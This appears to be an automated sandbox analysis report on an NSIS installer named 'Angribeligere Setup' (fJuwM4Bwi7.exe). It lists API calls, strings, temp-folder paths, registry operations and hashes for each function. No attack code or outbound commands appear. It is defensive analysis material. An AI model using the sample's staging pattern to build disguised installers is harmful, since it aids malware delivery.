Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Angribeligere Setup: Installing
API String ID: 3282139019-2219571644
Opcode ID: ee793e9f516e2da13c3aa51fc91f44a41e00c2883a64dc2cf2643230f3a9d64a
Instruction ID: 1f8690e76de68066656ca8d54ad2d010e53819933bf2384d883f7e4ba9537b83
Opcode Fuzzy Hash: ee793e9f516e2da13c3aa51fc91f44a41e00c2883a64dc2cf2643230f3a9d64a
Instruction Fuzzy Hash: 17C1C071A04205BBDB21AF21ED48D2B7EBCFB44706F40443EF601B11E1C7799942AB6E

Function 00403787 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406061: GetModuleHandleA.KERNEL32(?,?,?,0040325C,00000009), ref: 00406073
Part of subcall function 00406061: LoadLibraryA.KERNELBASE(?,?,?,0040325C,00000009), ref: 0040607E
Part of subcall function 00406061: GetProcAddress.KERNEL32(00000000,?), ref: 0040608F

lstrcatA.KERNEL32(1033,Angribeligere Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Angribeligere Setup: Installing,00000000,00000002,C:\Users\user\AppData\Local\Temp\,77463410,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",00000000), ref: 00403802
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\terephthalate\edderdun,1033,Angribeligere Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Angribeligere Setup: Installing,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403877
lstrcmpiA.KERNEL32(?,.exe), ref: 0040388A
GetFileAttributesA.KERNEL32(Call), ref: 00403895
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\terephthalate\edderdun), ref: 004038DE

Part of subcall function 00405C94: wsprintfA.USER32 ref: 00405CA1

RegisterClassA.USER32(00422EA0), ref: 0040391B
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403933
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403968
ShowWindow.USER32(00000005,00000000), ref: 0040399E
LoadLibraryA.KERNELBASE(RichEd20), ref: 004039AF
LoadLibraryA.KERNEL32(RichEd32), ref: 004039BA
GetClassInfoA.USER32(00000000,RichEdit20A,00422EA0), ref: 004039CA
GetClassInfoA.USER32(00000000,RichEdit,00422EA0), ref: 004039D7
RegisterClassA.USER32(00422EA0), ref: 004039E0
DialogBoxParamA.USER32(?,00000000,00403B19,00000000), ref: 004039FF

Strings

RichEdit20A, xrefs: 004039C2, 004039C8
.DEFAULT\Control Panel\International, xrefs: 004037ED
Control Panel\Desktop\ResourceLocale, xrefs: 004037BB
Call, xrefs: 00403845, 0040384D, 0040385A, 004038A4, 004038AA
Angribeligere Setup: Installing, xrefs: 004037B3, 004037B9, 004037DE, 004037E7, 004037FC
_Nb, xrefs: 004038FA, 00403962
RichEdit, xrefs: 004039D1
"C:\Users\user\Desktop\fJuwM4Bwi7.exe", xrefs: 0040378B
1033, xrefs: 004037A7, 004037FD
RichEd20, xrefs: 004039AA
C:\Users\user\AppData\Local\Temp\, xrefs: 00403793
RichEd32, xrefs: 004039B5
.exe, xrefs: 00403884
C:\Users\user\AppData\Local\Temp\terephthalate\edderdun, xrefs: 00403811, 00403819, 004038B1, 004038B7, 004038C7

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\fJuwM4Bwi7.exe"$.DEFAULT\Control Panel\International$.exe$1033$Angribeligere Setup: Installing$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\terephthalate\edderdun$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-2782496506
Opcode ID: d69af52eae453a52e03acfe7140820e929eba722ac2574cb4842baacd9f3a248
Instruction ID: 361ceaa5e45529a70bb989737ed67fdedcb7c759bf8cf29c3cde223c60b7be46
Opcode Fuzzy Hash: d69af52eae453a52e03acfe7140820e929eba722ac2574cb4842baacd9f3a248
Instruction Fuzzy Hash: E661E6B16442007EE720AF659D45F273E6CEB8475AF40407FF941B22E2D67C9D02DA6E

Function 00402C79 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C8D
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\fJuwM4Bwi7.exe,00000400), ref: 00402CA9

Part of subcall function 004059C7: GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\fJuwM4Bwi7.exe,80000000,00000003), ref: 004059CB
Part of subcall function 004059C7: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059ED

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\fJuwM4Bwi7.exe,C:\Users\user\Desktop\fJuwM4Bwi7.exe,80000000,00000003), ref: 00402CF2
GlobalAlloc.KERNELBASE(00000040,00409130), ref: 00402E39

Strings

"C:\Users\user\Desktop\fJuwM4Bwi7.exe", xrefs: 00402C79
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E82
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402ED0
Null, xrefs: 00402D72
soft, xrefs: 00402D69
C:\Users\user\Desktop, xrefs: 00402CD4, 00402CD9, 00402CDF
Inst, xrefs: 00402D60
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C86, 00402E51
C:\Users\user\Desktop\fJuwM4Bwi7.exe, xrefs: 00402C93, 00402CA2, 00402CB6, 00402CD3
Error launching installer, xrefs: 00402CC9

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\fJuwM4Bwi7.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\fJuwM4Bwi7.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-528179520
Opcode ID: 91e4b9dee6fe50fd73dc962a53e9cdaf65c065133738040780962d54176249d0
Instruction ID: 2a27acbe37a486d3f9fadad6f2898e15cdcbef103c1943e89973ac3215dbffb0
Opcode Fuzzy Hash: 91e4b9dee6fe50fd73dc962a53e9cdaf65c065133738040780962d54176249d0
Instruction Fuzzy Hash: BC61C671A40205ABDF20AF64DE89B9A76B4EF00315F20413BF904B72D1D7BC9E418BAD

Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies,00000000,00000000,00000031), ref: 0040177E
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies,00000000,00000000,00000031), ref: 004017A8

Part of subcall function 00405D36: lstrcpynA.KERNEL32(?,?,00000400,00403287,00422F00,NSIS Error), ref: 00405D43

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

Strings

C:\Users\user\AppData\Local\Temp\nszBD12.tmp, xrefs: 00401789, 004017F8, 00401816
C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies, xrefs: 0040176C
Call, xrefs: 0040175B, 00401764, 00401771, 00401783, 00401794, 004017CA, 004017E0, 004017FE, 0040183E, 004018BF, 004018C8, 004018D2, 004018DD
C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll, xrefs: 0040180C, 00401828

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nszBD12.tmp$C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll$C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies$Call
API String ID: 1941528284-2973462801
Opcode ID: 3aa427727347f9e8141c62517debd6c6d5f1ffb41e66c3134885ff25fefb9c69
Instruction ID: 7da2985f373e49f587e0f88560f455237d5d3a700d2e38046b33ad83bb6d7614
Opcode Fuzzy Hash: 3aa427727347f9e8141c62517debd6c6d5f1ffb41e66c3134885ff25fefb9c69
Instruction Fuzzy Hash: 0341B871910515BACF10BFA5DC46DAF3679DF41369F20823BF511F10E1D63C8A419A6E

Function 0040501F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll), ref: 0040508D
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll, xrefs: 0040503F, 00405051, 00405057, 0040507A, 00405086

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll
API String ID: 2531174081-2590253870
Opcode ID: ee1b08cb592492bdf5f80b5dae1b552c690ecdeff46defc75ce9aeeb2979dc18
Instruction ID: 2b33129011dff48d1edd85efe61027b37dbb0349f6b457de8e93b882053e083c
Opcode Fuzzy Hash: ee1b08cb592492bdf5f80b5dae1b552c690ecdeff46defc75ce9aeeb2979dc18
Instruction Fuzzy Hash: C2219071900508BBDB119FA5CD84ADFBFB9EF14354F14807AF544B6290C2794E45DFA8

Function 0040231C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040235A
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nszBD12.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040237A
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nszBD12.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B3
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nszBD12.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402490

Strings

C:\Users\user\AppData\Local\Temp\nszBD12.tmp, xrefs: 0040236B, 00402379, 0040238D, 0040239D, 004023A8

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nszBD12.tmp
API String ID: 1356686001-1061038459
Opcode ID: 86a468557908f0d4cc1937d8ef59051a5efb18d14e0f25ee016bd79e191944f1
Instruction ID: 937c1904c824b73ffe337d2eacc138a1f8ac1658d2030852d1a46e58dbdf142b
Opcode Fuzzy Hash: 86a468557908f0d4cc1937d8ef59051a5efb18d14e0f25ee016bd79e191944f1
Instruction Fuzzy Hash: D71172B1E00118BFEB10EFA4DE89EAF7678FB50358F10413AF905B61D1D7B85D41A668

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040585F: CharNextA.USER32(?,?,Invaliditetsprocent209\indoktrineringen.rec,?,004058CB,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,?,?,77462EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77462EE0,00000000), ref: 0040586D
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405872
Part of subcall function 0040585F: CharNextA.USER32(00000000), ref: 00405886

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies, xrefs: 00401617

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies
API String ID: 3751793516-1144022150
Opcode ID: db51a681e4e1b110c4379ef5fee21ee97cfdebff7cd263ace0e336009ceda904
Instruction ID: decf54c0780f34986dcb1f6dc2400c6331eb5c21fa926316ee50895bb5337331
Opcode Fuzzy Hash: db51a681e4e1b110c4379ef5fee21ee97cfdebff7cd263ace0e336009ceda904
Instruction Fuzzy Hash: CE11E931908150ABDB217F755D4496F67B4EA62365728473FF891B22D2C23C4D42E62E

Function 004059F6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405A0A
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405A24

Strings

"C:\Users\user\Desktop\fJuwM4Bwi7.exe", xrefs: 004059F6
C:\Users\user\AppData\Local\Temp\, xrefs: 004059F9, 004059FD
nsa, xrefs: 00405A01

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\fJuwM4Bwi7.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2569497942
Opcode ID: 41eb4eacc2b5e04bba23a072be30983b5b4707d802c2e92527758f248babbe87
Instruction ID: 2f7b9810ed7c5924072585cf2130ed1295747d9915b618abfa336aedeca5813d
Opcode Fuzzy Hash: 41eb4eacc2b5e04bba23a072be30983b5b4707d802c2e92527758f248babbe87
Instruction Fuzzy Hash: C1F0E2327482487BDB008F1ADC44B9B7B9CDF91710F00C03BF904AA280D2B0A8008B68

Function 00402A3D Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402A5E
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A9A
RegCloseKey.ADVAPI32(?), ref: 00402AA3
RegCloseKey.ADVAPI32(?), ref: 00402AC8
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AE6

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 921281f3cc01420fdc1beeb1eeb708213ab33a1a3c9c72e215a90ba7be82d26f
Instruction ID: 1cfc72d501241f28ff1c9237e437913a5e8660848d06dce24e2e83bd327c9a1b
Opcode Fuzzy Hash: 921281f3cc01420fdc1beeb1eeb708213ab33a1a3c9c72e215a90ba7be82d26f
Instruction Fuzzy Hash: EA114F71A00108FFDF219F90DE48EAA3B7DEB44349B104076FA05B11A0DBB49E559F69

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE

GlobalFree.KERNEL32(00000000), ref: 10001768
FreeLibrary.KERNEL32(?), ref: 100017DF
GlobalFree.KERNEL32(00000000), ref: 10001804

Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2

Part of subcall function 1000258D: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FF

Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572

Strings

, xrefs: 100017E5

Memory Dump Source

Source File: 00000005.00000002.79058661791.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.79058630911.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058691430.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058724593.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_fJuwM4Bwi7.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 5c34708dbc5c14fa42f4b7439be41c1509afaedaf37bf6653e8bb29f9fa28a01
Instruction ID: 946e86dc2be410c0748ecba0c1d48508df540d87c222276c6f0f58241c559a10
Opcode Fuzzy Hash: 5c34708dbc5c14fa42f4b7439be41c1509afaedaf37bf6653e8bb29f9fa28a01
Instruction Fuzzy Hash: C5318B79408205DAFB41DF649CC5BCA37ECFB042D5F018465FA0A9A09ADF78A8458A60

Function 00401BB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C18
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C30

Strings

!, xrefs: 00401BEC

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
